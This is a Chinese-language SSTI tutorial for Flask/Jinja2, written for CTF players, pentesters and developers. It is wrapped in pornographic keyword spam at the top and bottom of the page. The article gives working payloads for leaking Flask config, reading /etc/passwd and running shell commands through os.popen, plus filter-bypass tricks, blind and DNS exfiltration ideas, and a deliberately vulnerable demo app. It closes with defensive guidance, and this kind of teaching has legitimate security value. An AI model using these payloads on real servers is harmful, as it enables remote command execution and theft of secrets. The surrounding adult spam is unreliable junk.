免费国产精品自在自线-91精品国产色综合久久久浪潮-99热久久免费频精品-国产精品国模在线观看-久久亚洲国产精品成人?V秋霞-久久国产一级A片免费播放-亚洲国产欧洲综合97久久-久久国产白嫩美女呻吟高潮

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運(yùn)營(yíng)的一線實(shí)戰(zhàn)洞察。

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御 第一次在CTF里碰到SSTI的人十有八九會(huì)一臉懵一條報(bào)錯(cuò)信息明明是jinja2.exceptions.UndefinedError怎么轉(zhuǎn)手payload就能讀到服務(wù)器上的文件如果你也有過這種體驗(yàn)?zāi)沁@篇應(yīng)該能幫你把SSTI從聽說過變成徹底搞懂。我會(huì)以Flask為例子從服務(wù)端模板注入的原理講起把檢測(cè)技巧、常見payload、過濾繞過和防御手段全部拆開一條條揉碎了講清楚。全文面向安全測(cè)試人員、CTF玩家以及怕自己業(yè)務(wù)接口被注入的開發(fā)同學(xué)——不管你是要打題、做測(cè)試還是寫代碼的時(shí)候想避坑都能從這里找到想要的答案。1. SSTI到底是什么從一個(gè)翻譯過程的失控說起1.1 模板引擎在幫我們翻譯什么先理解正常渲染流程要理解服務(wù)端模板注入得先弄清楚模板引擎是怎么工作的。以Flask默認(rèn)的Jinja2為例它的核心思路很簡(jiǎn)單把一份帶占位符的文本當(dāng)作模板運(yùn)行時(shí)把變量填充進(jìn)去生成最終的HTML或文本返回給用戶。一個(gè)最最基本的例子from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)正常請(qǐng)求/hello/world模板引擎會(huì)解析{{ name }}這個(gè)表達(dá)式把變量name的值world填充進(jìn)去返回h1Hello, world!/h1。這個(gè)流程平時(shí)沒有任何問題因?yàn)槟0謇锏谋磉_(dá)式是開發(fā)者寫死的變量的值由用戶提供。但注意Jinja2在渲染時(shí)并不是簡(jiǎn)單做字符串替換而是先把模板文本編譯成Python字節(jié)碼再執(zhí)行。換句話說模板里{{ ... }}和{% ... %}的內(nèi)容本質(zhì)上參與了一次代碼求值。如果某部分模板內(nèi)容本身就來自用戶輸入那這就不再是填充變量而是給了用戶一個(gè)在服務(wù)器上執(zhí)行Python表達(dá)式甚至命令的機(jī)會(huì)。這就是SSTI服務(wù)端模板注入Server-Side Template Injection。1.2 注入的根源用戶輸入被當(dāng)成了代碼而不是數(shù)據(jù)我見過很多朋友把SSTI和XSS搞混。兩者的共同點(diǎn)是都會(huì)在輸出層面做測(cè)試但XSS的利用目標(biāo)是瀏覽器SSTI的利用目標(biāo)是服務(wù)器本身嚴(yán)重程度天差地別。SSTI產(chǎn)生的根本原因可以總結(jié)成一句話不可信數(shù)據(jù)進(jìn)入了模板編譯的代碼路徑。常見寫法是哪些最容易踩坑的就是render_template_string因?yàn)楹芏嘟坛潭紩?huì)教新手把用戶參數(shù)直接拼進(jìn)模板字符串a(chǎn)pp.route(/page) def page(): tpl request.args.get(tpl, ) return render_template_string(h1 tpl /h1)也有一些框架或者快速原型項(xiàng)目會(huì)把整段頁面源碼存在數(shù)據(jù)庫里由管理員或者運(yùn)營(yíng)人員在后臺(tái)編輯再通過模板引擎渲染。如果誰能控制這段模板內(nèi)容權(quán)限配置不當(dāng)、數(shù)據(jù)庫注入、后臺(tái)邏輯漏洞效果和直接拿到命令執(zhí)行是等價(jià)的。判斷到底是不是SSTI最簡(jiǎn)單的思路是提交一個(gè)原本應(yīng)該被當(dāng)成數(shù)據(jù)的字符串結(jié)果里面如果包含了模板語法并且被當(dāng)成邏輯解析并執(zhí)行那這就是注入點(diǎn)。1.3 初步確認(rèn)最小化探測(cè)payload進(jìn)入實(shí)戰(zhàn)前先記牢三類探測(cè)方法。第一種是純算術(shù)表達(dá)式比如提交{{7*7}}如果返回49基本可以斷定是Jinja2或者其他支持算術(shù)運(yùn)算的模板引擎。第二種是字符串拼接提交{{ab}}如果返回ab同樣能說明表達(dá)式被執(zhí)行。第三種是注釋或者無意義表達(dá)式看回顯判斷是否觸發(fā)報(bào)錯(cuò)以及報(bào)錯(cuò)內(nèi)容是否泄露模板引擎類型。實(shí)測(cè)中我更喜歡先提交一個(gè){{7*7}}再提交一個(gè)${7*7}。兩者結(jié)果一對(duì)比就能分辨引擎類型——Jinja2返回49而${...}在很多Java模板引擎比如FreeMarker里是標(biāo)準(zhǔn)語法。一個(gè)字符串一次性測(cè)兩種引擎效率最高。但這里要提醒一句如果你提交{{7*7}}發(fā)現(xiàn)頁面還是原樣返回{{7*7}}并不代表沒有SSTI有可能是模板引擎把輸入做了轉(zhuǎn)義也可能是輸入在到達(dá)模板前就被拼接到了不該拼接的地方。這就需要進(jìn)一步觀察報(bào)錯(cuò)頁面和響應(yīng)差異。2. 原理追查Jinja2的變量解析和Python對(duì)象模型2.1 表達(dá)式、過濾器、全局變量Jinja2的求值規(guī)則既然要去構(gòu)造payload就得先搞清楚Jinja2支持哪些語法。模板里最常見的三種結(jié)構(gòu){{ expr }}輸出一個(gè)表達(dá)式的值{% statement %}執(zhí)行控制流語句比如if、for{# comment #}是注釋。在{{ ... }}內(nèi)部我們可以使用變量、字面量、算術(shù)運(yùn)算符、比較運(yùn)算符、邏輯運(yùn)算符還可以用管道符調(diào)用過濾器比如{{ name|upper }}。這些都是模板引擎提供給開發(fā)者的能力。但SSTI真正要用的并不只是這些常規(guī)操作而是要借助Python對(duì)象模型本身提供的能力。Jinja2有一個(gè)非常重要的特性它允許訪問對(duì)象的屬性和方法。寫法有{{ obj.attr }}和{{ obj[attr] }}兩種。表面上這只是個(gè)取值操作但一旦我們能拿到對(duì)象的內(nèi)部屬性比如__class__、__init__就等于拿到了通往底層的鑰匙。Jinja2自帶一些全局變量比如configFlask的配置對(duì)象、self當(dāng)前模板上下文、request、session、g等等。其中config是最友好的信息收集目標(biāo)一個(gè){{config}}往往就能泄露SECRET_KEY、數(shù)據(jù)庫連接串等敏感信息。2.2 MRO與魔術(shù)方法為什么SSTI能一路爬到系統(tǒng)命令現(xiàn)在進(jìn)入最關(guān)鍵的部分。Python一切皆對(duì)象而對(duì)象的類型、父類、方法列表都可以通過幾個(gè)魔術(shù)方法拿到__class__獲取當(dāng)前對(duì)象的類。__mro__返回一個(gè)元組包含當(dāng)前類以及它的所有父類順序按照方法解析順序排列。__bases__返回當(dāng)前類的直接父類。__subclasses__()返回當(dāng)前類的所有直接子類列表。__init__構(gòu)造函數(shù)。__globals__如果作用于某個(gè)函數(shù)返回一個(gè)字典包含該函數(shù)所在模塊的全部全局變量。SSTI利用鏈的思路可以概括為從任何一個(gè)對(duì)象出發(fā)先拿到它的類再通過類找父類最后到達(dá)object或者某個(gè)工具類然后通過__subclasses__()拿到當(dāng)前進(jìn)程里所有類的列表從中挑選能夠做危險(xiǎn)操作的類。舉個(gè)例子空字符串是一個(gè)字符串對(duì)象.__class__就是class str.__class__.__mro__會(huì)返回(class str, class object)。這里很多教程會(huì)直接用__mro__[1]或者_(dá)_mro__[2]看起來索引值不穩(wěn)定其實(shí)是因?yàn)槠瘘c(diǎn)對(duì)象不同索引位置可能有差異。最好的習(xí)慣是先用__mro__看看返回幾個(gè)父類再選擇真正指向object的那一個(gè)下標(biāo)。拿到object之后調(diào)用__subclasses__()會(huì)得到當(dāng)前Python解釋器里已經(jīng)加載的所有類的列表。這里面會(huì)有os._wrap_close、subprocess.Popen、warnings.catch_warnings、file僅Python2等一大批可以利用的類。它們都是object的直接或間接子類所以在列表里一定能找到。2.3 版本差異Python2和Python3下的不同路線這塊很容易讓人踩坑。Python2的object子類列表里直接有一個(gè)type file它對(duì)應(yīng)的構(gòu)造函數(shù)可以用來讀取文件.__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()但在Python3中file類型已經(jīng)不存在了同樣的索引位置可能是完全不同的類必須尋找io._IOBase、io.TextIOWrapper等替代類或者直接找os相關(guān)的類來拼命令執(zhí)行。實(shí)操中最穩(wěn)定、最有代表性的做法是遍歷子類列表用特征類名定位。比如{% for x in ().__class__.__mro__[1].__subclasses__() %} {% if os in x.__module__ %} {{ x.__module__ }}.{{ x.__name__ }} {% endif %} {% endfor %}這種思路之所以可靠是因?yàn)槲覀儾皇强坑簿幋a的索引位置而是靠模塊路徑和類名特征去匹配。在跑批量測(cè)試和寫自動(dòng)化腳本的時(shí)候哪怕Python小版本升級(jí)導(dǎo)致類列表順序變化這套方案依然能命中只是需要額外寫一點(diǎn)解析邏輯。3. 常用payload全梳理一條鏈路打到命令執(zhí)行3.1 最基礎(chǔ)的探測(cè)與信息收集我把平時(shí)用的比較高頻的基礎(chǔ)探測(cè)payload整理一下。假設(shè)注入點(diǎn)在render_template_string的參數(shù)里我們需要分階段推進(jìn)。第一階段是確認(rèn)。提交{{7*7}}看回顯是否是49??梢允莧{7*7}}這樣如果引擎執(zhí)行了字符串乘法結(jié)果是一連串7也能判斷表達(dá)式執(zhí)行了。第二階段是信息收集。提交{{config}}如果Flask應(yīng)用開啟了調(diào)試或者模擬環(huán)境配置沒被隱藏頁面會(huì)直接顯示配置字典里面可能有SECRET_KEY、數(shù)據(jù)庫URI等敏感值。提交{{self}}可以得到模板對(duì)象本身的信息也有時(shí)候會(huì)順帶泄露一些全局上下文。第三階段是定位可利用對(duì)象。一個(gè)經(jīng)典payload是{{ [].__class__.__mro__[1].__subclasses__() }}這里[]是列表對(duì)象__class__拿到list__mro__[1]直接指向object再拿所有子類。輸出列表可能非常長(zhǎng)但沒關(guān)系我們要的就是這份列表從里面挑能用的類。3.2 從當(dāng)前對(duì)象到任意類subclasses遍歷技巧真正要打命令執(zhí)行我最常用的路線是這樣一條{{ .__class__.__mro__[2].__subclasses__() }}這條利用的就是空字符串對(duì)象。為什么從空字符串開始因?yàn)椴还苁怯昧斜?、字典、還是整數(shù)對(duì)象我們最終都要回到object而寫起來最短方便嵌套和拼接。問題是怎么在Payload中快速定位有用的子類手工維護(hù)一個(gè)索引是可行的但不同題目不同環(huán)境結(jié)果不同線上環(huán)境又不想每次都打印幾百行。推薦兩種方式。第一種是用模板自身循環(huán)遍歷子類列表通過名字或模塊名篩選出目標(biāo)比如搜索subprocess.Popen或os._wrap_close{% set stream cycler.__init__.__globals__.os.popen %} {{ stream(id).read() }}第二種是直接在模板里遍歷并且把符合條件的類一次性打印出來{% for x in ().__class__.__bases__[0].__subclasses__() %} {% if catch_warnings in x.__name__ %} {{ x.__init__.__globals__ }} {% endif %} {% endfor %}值得說明的是cycler、joiner、namespace這些都是Jinja2內(nèi)置對(duì)象它們自帶__init__.__globals__里面通常能直接找到os模塊、__builtins__等好東西比盯著subclasses列表一條條翻要快得多。3.3 命令執(zhí)行和文件讀取一條鏈路打通命令執(zhí)行的通式一般長(zhǎng)這樣核心是利用某個(gè)函數(shù)對(duì)象拿到__globals__再通過__builtins__或os去執(zhí)行命令{{ .__class__.__mro__[2].__subclasses__()[position].__init__.__globals__[__builtins__][__import__](os).popen(cat /etc/passwd).read() }}position指的是目標(biāo)類在__subclasses__()返回列表中的位置。比如warnings.catch_warnings類在多數(shù)環(huán)境里位置往往比較靠前可以直接用{{ .__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[__builtins__] }}拿到__builtins__以后再順著它去找__import__或者直接訪問os.popen、os.system。有一點(diǎn)要注意__globals__只有在作用于函數(shù)對(duì)象時(shí)才存在作用于類對(duì)象有時(shí)會(huì)報(bào)錯(cuò)。文件讀取的路線也類似。Python3里可以用open函數(shù)通過__builtins__直接打開文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}或者找到_io.FileIO、io.TextIOWrapper等類手動(dòng)實(shí)例化但那條路要傳模式參數(shù)代碼一長(zhǎng)寫起來就費(fèi)勁。所以我一般優(yōu)先打__builtins__里的內(nèi)置函數(shù)如果被過濾再考慮類實(shí)例化路線。3.4 快速參考常用payload速查表為了打題和自查方便我整理了一張速查表可以直接抄但順手記一下原理更好。目標(biāo)Payload示例說明基礎(chǔ)探測(cè){{7*7}}返回49則說明表達(dá)式被求值Flask配置泄露{{config}}可能暴露SECRET_KEY等敏感信息獲取當(dāng)前對(duì)象類名{{ .__class__ }}返回str類獲取object類{{ .__class__.__mro__[1] }}得到object類列出所有子類{{ [].__class__.__mro__[1].__subclasses__() }}大列表讀取文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}用內(nèi)置open命令執(zhí)行{{ cycler.__init__.__globals__.os.popen(id).read() }}利用Jinja2內(nèi)置對(duì)象全局變量命令執(zhí)行備選{{ .__class__.__mro__[2].__subclasses__()[x].__init__.__globals__[__builtins__][__import__](os).popen(id).read() }}遍歷定位x表里面最后一條的[x]必須根據(jù)實(shí)際環(huán)境來定這也是寫自動(dòng)化掃描腳本時(shí)經(jīng)常要處理的一環(huán)。4. 過濾與繞過實(shí)戰(zhàn)里真正考驗(yàn)人的地方4.1 常見過濾規(guī)則前文說的都是沒有過濾的理想場(chǎng)景。真正要面對(duì)的題目或者真實(shí)系統(tǒng)多少會(huì)做一些WAF或參數(shù)校驗(yàn)。總結(jié)下來最常見的過濾類型大概有五種過濾關(guān)鍵字比如__class__、popen、os、過濾特殊字符_、[、]、單雙引號(hào)、過濾數(shù)字、過濾{{ }}以及過濾一些內(nèi)置函數(shù)名。第一種最好辦用字符串拼接繞過。第二種比較頭疼因?yàn)楹芏嗄0遄⑷朦c(diǎn)在數(shù)組下標(biāo)或者屬性訪問上都依賴[]和雙下劃線。第三種常見于需要傳數(shù)字索引的payload可以通過模板自身的解析技巧繞過。第四種最麻煩如果連{{和{%都被轉(zhuǎn)義那基本沒有注入點(diǎn)了但很多時(shí)候它們的過濾并不完整只在輸入層替換一次。4.2 經(jīng)典的繞過組合先說過濾[]。不管是__getitem__還是模板自帶的attr過濾器都能替代中括號(hào)下標(biāo)訪問。例如.__class__如果被過濾可以寫成|attr(__class__)。在Jinja2里這算是最優(yōu)雅的一種繞法。如果單雙引號(hào)也被過濾我們可以用request.args獲取URL參數(shù)讓payload里不再出現(xiàn)引號(hào)或者下劃線{{ request.args.f }}配合URL請(qǐng)求{{ cycler.__init__.__globals__.os.popen(request.args.cmd).read() }}cmdid如果下劃線_被過濾可以用十六進(jìn)制編碼、Unicode編碼或者通過\x5f拼接繞過。比如__class__可以寫成\x5f\x5fclass\x5f\x5f在Python解釋器看來\x5f就是下劃線字符。不過要注意Jinja2的解析層相對(duì)嚴(yán)格某些編碼方式在模板表達(dá)式里不一定生效實(shí)測(cè)中需要根據(jù)報(bào)錯(cuò)逐步調(diào)整。如果關(guān)鍵字os、popen被過濾可以做拼接{{ cycler.__init__.__globals__[os].popen(id).read() }}Jinja2會(huì)先做字符串拼接再去做屬性訪問這一步恰好能繞過很多簡(jiǎn)單的詞法過濾。4.3 無回顯下的盲打思路有些環(huán)境不會(huì)把模板渲染結(jié)果直接輸出只返回200或404。這時(shí)候就要走盲注或者帶外通道。最常用的是利用命令執(zhí)行后的時(shí)間延遲比如調(diào)os.system(sleep 5)看響應(yīng)時(shí)間是否明顯增加用時(shí)間差確認(rèn)漏洞存在。也可以用DNS外帶的方式確認(rèn)命令執(zhí)行成功把whoami的結(jié)果拼到域名里發(fā)出去在外部記錄到解析請(qǐng)求就說明命令已經(jīng)執(zhí)行。這類盲打的關(guān)鍵在于不能太依賴頁面回顯要在日志和響應(yīng)時(shí)間上找信號(hào)。如果命令執(zhí)行被限制也可以退而求其次先盲讀文件用布爾條件來判斷文件內(nèi)容類似SQL注入里的盲注思路。比如在模板里判斷某個(gè)文件是否存在存在就配置不同的響應(yīng)。這種方案的效率不算高但屬于兜底手段值得掌握。5. 本地實(shí)操搭個(gè)漏洞環(huán)境走一遍完整鏈路5.1 最小化漏洞應(yīng)用說了這么多不如直接在本地把環(huán)境搭起來從零到一驗(yàn)證一遍。我用一個(gè)最簡(jiǎn)化的Flask應(yīng)用來做實(shí)驗(yàn)代碼如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, name !/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)本地跑起來以后訪問/?name{{7*7}}頁面返回Hello, 49!說明存在SSTI。建議加一句debugTrue好處是出錯(cuò)能看到詳細(xì)的報(bào)錯(cuò)棧能直觀看到模板編譯發(fā)生了異常。當(dāng)然生產(chǎn)環(huán)境千萬別這么寫我這是為了驗(yàn)證方便。5.2 走完整條利用鏈第一步先確認(rèn)表達(dá)式執(zhí)行。然后收集信息訪問/?name{{config}}頁面上會(huì)輸出Flask配置包括SECRET_KEY。這一步往往已經(jīng)能用來偽造session了如果實(shí)際測(cè)試目標(biāo)有登錄功能這已經(jīng)是一個(gè)高危風(fēng)險(xiǎn)點(diǎn)。第二步先拿子類列表。訪問/?name{{ [].__class__.__mro__[1].__subclasses__() }}頁面會(huì)輸出一大串類列表。復(fù)制下來搜索os._wrap_close或者warnings.catch_warnings記錄它的索引位置。我這次本地環(huán)境里os._wrap_close出現(xiàn)在第226位左右但你機(jī)器上的位置很可能不同所以動(dòng)態(tài)定位更重要。第三步構(gòu)造命令執(zhí)行payload/?name{{ [].__class__.__mro__[1].__subclasses__()[226].__init__.__globals__[os].popen(id).read() }}如果一切正常頁面會(huì)輸出uid...的用戶信息。到這一步SSTI已經(jīng)從一條報(bào)錯(cuò)變成了實(shí)打?qū)嵉拿顖?zhí)行。第四步讀取文件/?name{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}在Python3環(huán)境中這個(gè)payload應(yīng)該能夠讀出文件內(nèi)容。5.3 踩坑記錄為什么你的payload不通我在這塊踩過的坑不少總結(jié)幾個(gè)高頻問題。第一個(gè)是__globals__只有函數(shù)對(duì)象才有。很多人拿到某個(gè)類以后直接調(diào).__init__.__globals__但如果這個(gè)類不繼承任何函數(shù)或者_(dá)_init__本身不是Python函數(shù)而是內(nèi)置函數(shù)就會(huì)返回AttributeError或者得到預(yù)期之外的結(jié)果。解決方法是盡量選擇諸如warnings.catch_warnings.__init__這種由Python實(shí)現(xiàn)的方法來訪問。第二個(gè)是__subclasses__()返回的子類列表位置不穩(wěn)定。同一個(gè)應(yīng)用稍微改一條import語句、換一個(gè)Python小版本列表就會(huì)變。寫掃描器或者寫exp的時(shí)候不要硬編碼索引應(yīng)該用模塊名和類名做匹配。第三個(gè)是模板里直接使用[]方式訪問字典有時(shí)會(huì)觸發(fā)Jinja2的解析規(guī)則。Jinja2允許__globals__[os]這種寫法但某些版本對(duì)__globals__[__builtins__]這種雙下劃線鍵名解析有差異建議遇到報(bào)錯(cuò)時(shí)換成|attr過濾器或者用.__builtins__直接訪問屬性。第四個(gè)很隱蔽{{config}}能輸出不等于{{config.__class__}}也能輸出。Flask的config對(duì)象繼承自字典但有些版本里直接訪問它的__init__會(huì)拿到一個(gè)純內(nèi)部的構(gòu)造器里面沒有__globals__。很多時(shí)候要繞一下先走config.__class__.__mro__找到object再按老路子走。6. 怎么防給同樣在被SSTI困擾的人6.1 代碼層的防御思路防御SSTI最核心的一條就是永遠(yuǎn)不要把模板字符串的來源交給用戶控制。如果你非要?jiǎng)討B(tài)渲染那至少要做到用戶輸入只作為變量的值傳給模板而不是作為模板文本本身。正確的Flask寫法是這樣的app.route(/hello/name) def hello(name): return render_template_string(h1Hello, {{ name }}!/h1, namename)這樣用戶輸入哪怕包含{{7*7}}也只會(huì)被當(dāng)作字符串值渲染輸出而不會(huì)被當(dāng)成模板邏輯執(zhí)行。另一個(gè)建議是盡量使用render_template去加載獨(dú)立的模板文件少用render_template_string。哪怕動(dòng)態(tài)拼模板也一定不要直接拼用戶數(shù)據(jù)。如果需要給用戶提供有限的模板能力可以考慮用Jinja2沙箱從環(huán)境配置上禁用危險(xiǎn)的函數(shù)和屬性訪問。但要注意純靠沙箱攔不住所有情況因?yàn)槟0逡姹旧硖峁┑膶?duì)象已經(jīng)足夠豐富一旦某個(gè)全局對(duì)象能被訪問攻擊者可能從它身上繞回危險(xiǎn)函數(shù)。所以沙箱只能作為輔助不能當(dāng)作唯一防線。6.2 配置與運(yùn)維加固除了代碼層面運(yùn)維和框架配置也要跟上。比如把Flask的DEBUG模式關(guān)閉避免報(bào)錯(cuò)頁面泄露堆棧信息生產(chǎn)環(huán)境不要暴露模板源碼路徑給Web應(yīng)用單獨(dú)設(shè)置低權(quán)限用戶別用root跑應(yīng)用讓它即使被攻破也沒辦法讀取太多敏感文件對(duì)外部輸入做輸入長(zhǎng)度限制比如限制單參數(shù)長(zhǎng)度雖然不能從根本上防注入但能明顯增加攻擊成本。另一種更穩(wěn)妥的隔離思路是讓模板渲染層和業(yè)務(wù)代碼完全分離。模板內(nèi)容放在獨(dú)立的文件甚至單獨(dú)的服務(wù)里不允許業(yè)務(wù)接口直接傳模板字符串。很多大型項(xiàng)目會(huì)直接用前端框架渲染頁面后端只返回JSON這樣SSTI的攻擊面自然就小了很多。6.3 常見問題排查速查現(xiàn)象可能原因解決思路{{7*7}}原樣輸出輸入被轉(zhuǎn)義或未進(jìn)入模板表達(dá)式檢查渲染位置、過濾邏輯{{7*7}}輸出49但{{config}}報(bào)錯(cuò)全局變量被禁用用self或request等替代__subclasses__()返回空沙箱攔截?fù)Q一條鏈子比如從cycler入手__globals__訪問報(bào)錯(cuò)目標(biāo)不是函數(shù)對(duì)象換一個(gè)函數(shù)型初始化器來訪問命令執(zhí)行失敗但探測(cè)成功被過濾了或目標(biāo)類無權(quán)限考慮盲打、繞過、或者換用文件讀取頁面返回500Payload語法或類型錯(cuò)誤用本地Jinja2環(huán)境逐段調(diào)試排查的時(shí)候我習(xí)慣先在本地裝一個(gè)同版本的Jinja2把payload扔進(jìn)render_template_string里做最小化驗(yàn)證確認(rèn)語法沒有問題再上目標(biāo)。這比直接在目標(biāo)機(jī)上試錯(cuò)要穩(wěn)得多。我個(gè)人踩過幾輪之后的體會(huì)是SSTI的利用鏈確實(shí)靈活得可怕但只要把握住數(shù)據(jù)不入模板編譯路徑這條底線防御思路其實(shí)非常簡(jiǎn)單。對(duì)開發(fā)者來說寫每行模板渲染代碼時(shí)都多想一步這個(gè)輸入會(huì)不會(huì)被當(dāng)成代碼執(zhí)行對(duì)測(cè)試人員來說先確保自己理解了Jinja2的求值順序和Python對(duì)象模型再動(dòng)手去打payload才能做到彈無虛發(fā)。安全這東西很多時(shí)候差的真不是技巧是那一層再往下挖一層的意識(shí)。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
精品51XX| 只有精品在线观看| 久久激情五月婷婷| 色色日本欧美| 激情五月婷在线精品| 色婷婷丁香社综合| 婷婷综合婷婷| 亚洲日韩一页精品发布| 久久这里只有精品热在99| 五月天激情开心网| 亚洲性爱日韩无码| 五月天激情网址| www久久久久| 91操人| 五月丁香六月在线| 五月丁香婷婷激情澎湃四射| 丁香五月丁香伊人| 大香蕉五月天婷婷| 亚洲综合五月天婷婷丁香| 插插插色综合网| 一级二级色大片| 先锋影音av色五月天资源站| 成人精品视频99在线观看免费| 久久五月婷婷丁香| 91大屁股精品| 久久五月激情综合| 99久久久久久| 婷婷五月激情网| 久久性爱视频网站| www.夜夜操| 亚洲精| 国产 A片 自拍| 五月停停色色丁香| 五月婷色| 亚洲色五月天是什么| 中文字幕在线免费观看视频| 99在线精品观看99| 天天做天天爱天天爽在| 五月激情综合激情五月| 激情综合网激情五月俺也去| 日韩成人影片网站| AV亚洲在线| 国产欧美精品AAAAAA片| 日韩av免费版| 九九99热| 色色色色色热| 千人斩操逼| 色婷婷综合五月| 色视频2025| 久久五月丁香| 天天干天天干天天干天天干天天干天天| 入口五月婷婷六月香| 99资源在线视频| 九九综舍久久| 黄色大片又大粗又爽| 中文资源在线a| 色狠狠综合入口| 久婷久婷激情肉| 偷偷操九九| 丁香五月天AV在线| 玖玖色资源站| 久久激情五月天| a久久免费视频| 狠狠干无码| 五月亭亭网成人在线视频| 真实亲子乱子伦高清在线观看| 天天爽天天日天天舔| 五月婷婷激情视频| 色五月丁香五月| 俺去也综合| 综合色久| 色综合香蕉| 日本啪啪网| 综合久| 狠狠艹狠狠艹| 五月色影院| 97亚洲婷婷| 九九综合精品| 久久九九一區| 色必久悠悠影院| 日韩限制级大尺度黑料泄密大尺度视频一区二区在线观看 | 大香蕉五月天婷婷| 丁香五月,激情五月,深爱五月| 欧美xx激情视频在线观看| 色婷婷五月天在线观看| 欧美私人家庭影院| 啪啪综合| 激情五月色综合| 99精品无码| 色欲婷婷五月天| 另类天堂| 色玖玖综合网| 丁香六月情| 久久激情五月天| a在线观看| www.一起草av| 五月噜噜| 色久影院| 99精品22| 丁香五月婷婷图片综合| 综合五月草 | 激情涩涩网| 久久这里只有国产视频| 99热这里只有精品99| 日本高清不卡免费一区二区三区| 五月天婷婷自拍图片在线观看| 丁香五月婷婷视频| 丁香五月伊人| 青草热视频这里只有精品| 五月婷婷欧美| 久久久久8888| 欧美色五月| 欧美大肥婆大肥BBBBB| 久9视频免费播放| 日本少妇裸体做爰高潮片 | 伊人婷婷大香蕉| 五月激情网络| 中文字幕日产A片在线看| 丁香五月天婷婷91| www.激情五月天.com| 99这里有精品| 婷婷综合色| 欧美成人精品老美女噜噜噜| 五月美女婷婷风骚| 天天操天爱综合| 另类视频在线| 66精品国产成人| 婷婷五月天小说| 婷婷99综合| 任你艹| 伊人在线视频| 久色成人| 久草热久草在线视频| 超碰超碰在线| 亚州色色色| 色五月婷婷激情基地| 六月丁香好婷婷| 日本高清久久| www.狠狠干| 999热这里只有精品| 玖玖99免费视频| 综合色五月| 色五月婷婷成人| 丁香六月婷婷综合麻豆| 五月天色小说| 五月天婷婷在线播放免费| 伊人热在线大香蕉| 婷婷五月色情天| 不卡在线视频| 五月天激情久久| 99情色五月天| www.色五月| 91超级碰人人操| 99热色在线精品| 丁香婷婷在线| 伊人青涩网| 日本五月天一页| 婷婷五月天av小说| 天天日天天色| 色墦五月丁香| 精品一二三区久久AAA片| 婷婷五月天激情综合婷婷五月天激情综合| 欧美特大片黄| 激情五月天婷婷五月天| 超碰在线人妻| 亚洲岛国电影| 黄网免费看| 成人av免费观看| 91啪啪视频| 五月激情综合五月| 免费啪啪啪网站| 国产97色在线 | 日韩| 97五月婷婷| 亚洲情色一区| 天天爱天天做综合| 激情五月综合久久| 免费无码毛片一区二区A片| 五月丁香啪啪拍| 色哟呦av| 丁香婷婷网| 天天综合色丁香| 99热在线观看| 99玖玖在线视频| 日本99久久| 思思久久99热只有频精品66| 五月激情婷婷播播开心| 五月亚洲激情| 婷婷五月丁香超碰| 丁香狠狠干| 色99自拍| 人人舔人人| 五月天丁香成人社| 七月丁香五月婷婷在线| 99精品在这里| 五月丁香婷婷综合| 色欲日日躁| 日韩人人操| 熟女网站久久| 婷婷五月天综合色| 天天爽天天爽天天爽天天爽天天爽天天爽天天| 亚洲一区二区 成人网站戴套| 九九热re99re6在线精品| 五月综合久久| 亚洲成人另类| 亚洲9久久精品| 亚洲激情在线| 欧美丁香五月夫妻天| 五月丁香婷婷福利| 97在线综合| 人妻日日日| 在线观看婷婷5月| 五月天开心婷婷久久| 九九十99视频| 1024在线视频| AV片一区在线观看| 大香蕉九九| 色在线视频网2025| 五区毛片七区毛片| 欧美综合在线五月天色婷婷| 色五月婷婷狠狠撸| 婷婷爱在线观看| 色色五月天com| 成人精品视频99在线观看免费| 激情另类综合| 97在线刺激| 五月婷婷九月婷婷九月婷婷| 五月婷婷开心激情六月蜜桃| 五月丁香六月婷婷啪啪综合| 99re热视频这里只有综合亚洲| 色亭亭九月| 婷婷91| 婷婷五月天网址| 色六月视频| 亚洲看av的网站| 成片免费播放| www99精品| 亚洲无码AV片| 日日噜噜久久婷婷五月天| 婷婷D区| 丁香六月婷婷| 五月天婷婷无码| 丁香五月婷婷偷拍| 九九婷婷综合| 亚洲成人一区| 99精品性爱| 五月综合丁香婷婷| 久久激情五月| 思思热99热| 超碰成人免费| 色色亚洲视频| 国产精品人人做人人爽人人添| 丁香六月婷婷| 精品国产一区二区三区四区阿崩| 《亚洲操B久久免费在线观看,亚洲操B久久在线播放》在线播放 - 高清资源 - 97 | 97在线视频人妻九色| 国产操逼网站| 爆乳熟女一区二区三区爆乳| 99热国内精品| 夜夜操夜夜爽| 亚洲国产精品综合色区| 亚洲天天| 亚洲操人| 少妇人妻丰满做爰XXX| 婷婷在线视频| 亚洲九九99精品视频在线播放| 婷婷五月激情基地| 婷婷丁香先锋资源网站| 538任你爽| 久久久8| 色婷婷久久综合| 9191avse| 免费久久这里只有精品99| 天天更新天天亚洲| 天天操婷婷| 亚洲色图五月丁香| 色99视频| www,色综合| 五月丁香色婷基地综合久久| 天天日,天天射,天天插| 噜噜色婷婷| 91久久九久久九久久九久久九久久| 天天插天天射| 青青草国产亚洲精品久久| αv中文字幕在线观| 久9热视频在线| 五月色婷丁香| 丁香五月AV综合| 国产淫熟妇| 亚洲欧洲中文日韩久久AV乱码| 色五月欧美| 依人大香蕉| 久久色大香蕉| 99色色爰| 婷婷色五月天在线| 五月天色综合| 亚洲天堂啪啪| 丁香婷婷激情网站| 亚洲成人免费电影| 人人操人人爰人人一天天碰夜夜拍夜夜爽-中国A级毛片天天看天天谢… | 婷婷五月天在线综合| 欧美成人日韩| 国产偷人爽久久久久久老妇APP| 1024欧美日韩精品久久久| 五月婷婷激情| 91人人爽久久涩噜噜噜| 乱岳熟女50岁| 丁香花五月天激情| 99热这里精品| 99ER热精品视频| 综合亚洲AV| 99激情视频热| 中文字幕AV在线| 99在线视频。| 成人婷婷桔色| 五月丁香啪啪啪| 激情 久久 婷婷| 婷婷亚洲色| 五月婷婷开心丁香| 